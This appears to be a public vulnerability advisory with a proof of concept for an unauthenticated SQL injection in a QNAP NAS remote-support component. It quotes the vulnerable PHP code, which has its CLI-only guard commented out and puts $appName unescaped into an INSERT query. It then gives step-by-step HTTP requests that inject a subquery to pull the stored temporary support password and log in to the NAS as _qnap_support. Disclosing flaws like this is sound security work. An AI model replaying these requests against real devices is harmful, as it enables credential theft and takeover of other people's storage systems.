We can access registerExternalLog without any user credentials.
File: www/App/Controllers/Cli/SupportUtils.php
// if (strtolower(php_sapi_name()) !== 'cli') {
// $this->fileLogModel->logError('You can not use this function via web.', __FILE__);
// die('You can not use this function via web. File: ' . __FILE__);
// }
public function registerExternalLog($appName, $appLogPath)
{
$supportUtils = $this->model('SupportUtilsModel');
if (file_exists($appLogPath) && is_dir($appLogPath)) {
printf("\r\n[%s] You should assign a log file, not folder.\r\n", colorize($appName, 'ERROR'));
} else if (file_exists($appLogPath) && !is_dir($appLogPath)) {
if ($supportUtils->setExternalLog($appName, $appLogPath)) {
printf("\r\n[%s] Log path %s was registered.\r\n", colorize($appName, 'SUCCESS'), colorize($appLogPath, 'SUCCESS'));
} else {
printf("\r\n[%s] Register external log failed.\r\n", colorize($appName, 'ERROR'), colorize($appLogPath, 'ERROR'));
}
} else {
printf("\r\n[%s] Log file not found.\r\n", colorize($appName, 'ERROR'));
}
}
$appName is not escaped.
File: www/App/Models/SupportUtilsModel.php
public function setExternalLog($appName, $appLogPath)
{
$now = time();
$queryStr = "INSERT INTO external_log (appName, appLogPath, createdTime) VALUES ('$appName', '$appLogPath', '$now')";
$rowCount = 0;
try {
$rowCount = $this->db->queryNoneResult($queryStr);
} catch (\Exception $e) {
return false;
}
return $rowCount;
}
Proof of Concept
For privilege escalation remote support option must be enabled on victims machine.
CLI /apps/qdesk/cli/supportutils/upload/a HTTP/1.1
Host: 192.168.1.55:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close
If its not enable Remote session is not enabled text will be displayed.
Then trigger vulnerability:
CLI /apps/qdesk/cli/supportutils/applog/reg/bb',(SELECT/*a*/cfgValue/*a*/FROM/*a*/configuration/*a*/WHERE/*a*/cfgKey='tempPw'),'149881968')/*/::/etc/passwd HTTP/1.1
Host: 192.168.1.55:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close
Now you can display _qnap_support password:
CLI /apps/qdesk/cli/supportutils/applog/list HTTP/1.1
Host: 192.168.1.55:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: pl-PL,pl;q=0.8,en-US;q=0.6,en;q=0.4
Connection: close
Output should look like:
| App Name | Log Path | Create Time |
| bb | ABCDEF <-- this is password | 1974-00-00 00:00:01 |
Now you can login to NAS using _qnap_support as login.
Timeline
- 25-10-2017: Public